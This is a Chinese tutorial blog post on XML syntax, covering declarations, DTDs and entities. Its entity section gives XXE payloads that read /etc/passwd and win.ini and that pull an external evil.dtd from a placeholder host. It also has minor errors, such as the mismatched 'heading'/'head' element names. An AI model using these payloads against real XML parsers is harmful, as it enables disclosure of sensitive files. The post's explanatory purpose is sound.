XML语法

XML(可扩展标记语言)是一种用于描述结构化数据的标准格式,它弥补了HTML的局限,允许自定义标记。XML解决了关系型数据在传输中的问题,提供了更灵活的数据描述方式。XML文档包括文档声明、DTD(文档类型定义)和元素等内容,常用于数据交换和存储。通过实体声明,XML支持对特殊字符和外部资源的引用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

什么是XML?

XML:extensiable markup language 被称作可扩展标记语言

可扩展标记语言:标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。

XML简单的历史介绍:

  • gml->sgml->html->xml
  • gml(通用标记语言)–在不同的机器进行通信的数据规范
  • sgml(标准通用标记语言)
  • html(超文本标记语言)

为什么我们需要使用XML呢?

  1. 我们没有XML这种语言之前,我们使用的是String作为两个程序之间的通讯!现在问题就来了,如果我们传输的是带有关系型结构的数据,String怎么表达呢?String对关系型数据不擅长,要是描述起来也难免会有歧义的时候!关系型数据如图下所示:

在这里插入图片描述

  1. HTML语言本身就有缺陷:
  2. 标记都是固定的,不能自定义。HTML语言中有什么标记就只能用什么标记
  3. HTML标签本身就缺少含义(tr标签里面什么内容都能放进去,不规范!!)
  4. HTML没有实现真正的国际化

XML文件就解决了以上的问题了,如果使用XML描述上述图片的关系,是非常简单的!

<?xml version="1.0" encoding="UTF-8" ?>
    <中国>
        <北京>
            <海淀></海淀>
            <丰台></丰台>
        </北京>
        <湖南>
            <长沙></长沙>
            <岳阳></岳阳>
        </湖南>
        <湖北>
            <武汉></武汉>
            <荆州></荆州>
        </湖北>
    </中国>

在浏览器中打开就是:
在这里插入图片描述

xml是一种格式规范

是一种包含了数据以及数据说明的文本格式规范
接下来煮几个栗子说明一下。

比如,我们要给对方传输一段数据,数据内容是“too young,too simple,sometimes naive”,要将这段话按照属性拆分为三个数据的话,

就是,年龄too young,阅历too simple,结果sometimes naive。
我们都知道程序不像人,可以体会字面意思,并自动拆分出数据,因此,我们需要帮助程序做拆分,因此出现了各种各样的数据格式以及拆分方式。

比如,可以是这样的数据为“too young,too simple,sometimes naive”然后按照逗号拆分,第一部分为年龄,第二部分为阅历,第三部分为结果。

也可以是这样的数据为“too_young**too_simple*sometimes_naive”从数据开头开始截取前面十一个字符,去掉号并把下划线替换为空格作为第一部分,再截取接下来的十一个字符同样去掉并替换下划线为空格作为第二部分,最后把剩下的字符同样去*号体会空格作为第三部分。

这两种方式都可以用来容纳数据并能够被解析,但是不直观,通用性也不好,而且如果出现超过限定字数的字符串就容纳不了,也可能出现数据本身就下划线字符导致需要做转义。

基于这种情况,出现了xml这种数据格式, 上面的数据用XML表示的话可以是这样

<person age="too young" experience="too simple" result="sometimes naive" />也可以是这样<person>
    <age value="too young" />
    <experience value="too simple" />
    <result value="sometimes naive" />
</person>

两种方式都是xml,都很直观,附带了对数据的说明,并且具备通用的格式规范可以让程序做解析。如果用json格式来表示的话,就是下面这样

{
    "age":"too young",
    "experience":"too simple",
    "result":"sometimes naive"
}

看出来没,其实数据都是一样的,不同的只是数据的格式而已,同样的数据,我用xml格式传给你,你用xml格式解析出三个数据,用json格式传给你,你就用json格式解析出三个数据,还可以我本地保存的是xml格式的数据,我自己先解析出三个数据,然后构造成json格式传给你,你解析json格式,获得三个数据,再自己构造成xml格式保存起来,说白了,不管是xml还是json,都只是包装数据的不同格式而已,重要的是其中含有的数据,而不是包装的格式。

XML文档结构

XML文档结构包括XML声明DTD文档类型定义(可选)文档元素

<!--XML声明--> 
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档--> 
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>

那么既然上面定义了元素note(to,from,head,body),那么我们下面的标签就必须按照定义写了。所以说定义中的元素就对应了下面的标签!!那么当然定义中的实体即对应了标签中的内容!!

<!--文档元素  也可以叫标签-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

也可以定义外部DTD

<?xml version="1.0"?>
<!DOCTYPE root_element SYSTEM "DTD_location/message.dtd"> /这里定义外部DTD
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

CDATA
在编写XML文件时,有些内容可能不想让解析引擎解析执行,而是当作原始内容处理。遇到此种情况,可以把这些内容放在CDATA区里,对于CDATA区域内的内容,XML解析程序不会处理,而是直接原封不动的输出

文档声明:

XML声明放在XML的第一行

version----版本
encoding--编码
standalone--独立使用--默认是no。standalone表示该xml是不是独立的,如果是yes,则表示这个XML文档时独立的,不能引用外部的DTD规范文件;如果是no,则该XML文档不是独立的,表示可以引用外部的DTD规范文档。

正确的文档声明格式,属性的位置不能改变

<?xml version="1.0" encoding="utf-8" standalone="no"?>

DTD声明:

1.内部声明DTD:

<!DOCTYPE 根元素 [元素声明]> 

2.使用SYSTEM的外部DTD:

<!DOCTYPE 根元素 SYSTEM "URL/URI" >

3.使用Public的外部DTD:

<!DOCTYPE 根元素 PUBLIC "public_ID" "URI">

DTD中的一些重要的关键字:

  • DOCTYPE(DTD的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)

DTD 中的实体声明:

1. 内部实体声明

<!ENTITY 实体名称 “实体的值”>

一个内部实体引用由三部分构成:&符号, 实体名称, 分号 ( ; ),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>  /此处定义了一个内部实体
<foo>&xxe;</foo>

2. 外部实体声明

外部实体也有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

声明格式为

<!ENTITY 实体名称 SYSTEM “URI/URL”>
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

在这里插入图片描述

示例:

 <?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

我们上面已经把实体分为了外部和内部,暂且不讨论DTD,因为实体声明就是包含在DTD中。实体还可以分为参数实体和通用实体。前面内部和外部实体是从引用的方式来分类,而这里是从实体引用的位置来分类!

1. 通用实体声明

&实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

例如:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

这是最常见的引用

2. 参数实体声明

  • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
  • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
  • 和通用实体一样,参数实体也可以外部引用

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>  /此处定义了个实体,并且在DTD中引用。而且引用的时候并未加标签。
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

参考:
https://segmentfault.com/a/1190000013252686
https://www.zhihu.com/question/31353595
https://www.cnblogs.com/zhaijiahui/p/9147595.html

### 学习 XML 语法 #### 定义与特性 XML(可扩展标记语言)是一种用于传输和存储数据的简单格式。它具有良好的可扩展性,能够实现内容与形式的有效分离,并严格遵循语法要求[^3]。 #### 正规 XML 文档的要求 为了使 XML 文档成为格式正规文档,需满足特定条件: - **声明语句**:每份 XML 文件应以 `<?xml version="1.0" encoding="UTF-8"?>` 开始来指定版本号以及字符编码方式。 - **唯一根元素**:整个文档必须包含在一个唯一的顶级标签之内;此标签被称为根节点。 - **大小写敏感**:所有的标签名称都是区分大小写的。 - **属性值加引号**:当定义带有属性的标签时,这些属性应当被双引号包围起来表示其值。 - **闭合所有标签**:对于每一个开启状态下的起始标签 `<tag>` 都应该存在相应的结束标签 `</tag>` 或者采用自封闭的形式如 `<br />`. - **正确嵌套子元素**:内部层次结构中的各个组件要按照正确的顺序排列并相互匹配[^2]. #### 实际应用案例 在实际开发过程中,可以利用专门工具或者库函数解析处理 XML 数据流。例如,在浏览器环境中可以通过内置 API 将 XML 转换成易于操作的数据模型——DOM对象树形结构,进而借助 JavaScript 进行各种交互逻辑的设计[^1]。 此外,一些新兴技术也采用了基于 XML 的解决方案,比如 xml-agent 提供了一个创新性的框架让开发者构建支持 XML 协议交流的人工智能代理程序,适用于多种场合下生成标准化的消息体或是执行复杂的业务流程控制任务[^4]。 ```javascript // 使用JavaScript获取XML文件的内容 function loadXMLDoc(filename){ var xmlDoc; if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); }else{// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("GET",filename,false); xmlhttp.send(); xmlDoc=xmlhttp.responseXML; document.getElementById("myDiv").innerHTML= xmlDoc.getElementsByTagName("TITLE")[0].childNodes[0].nodeValue; } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值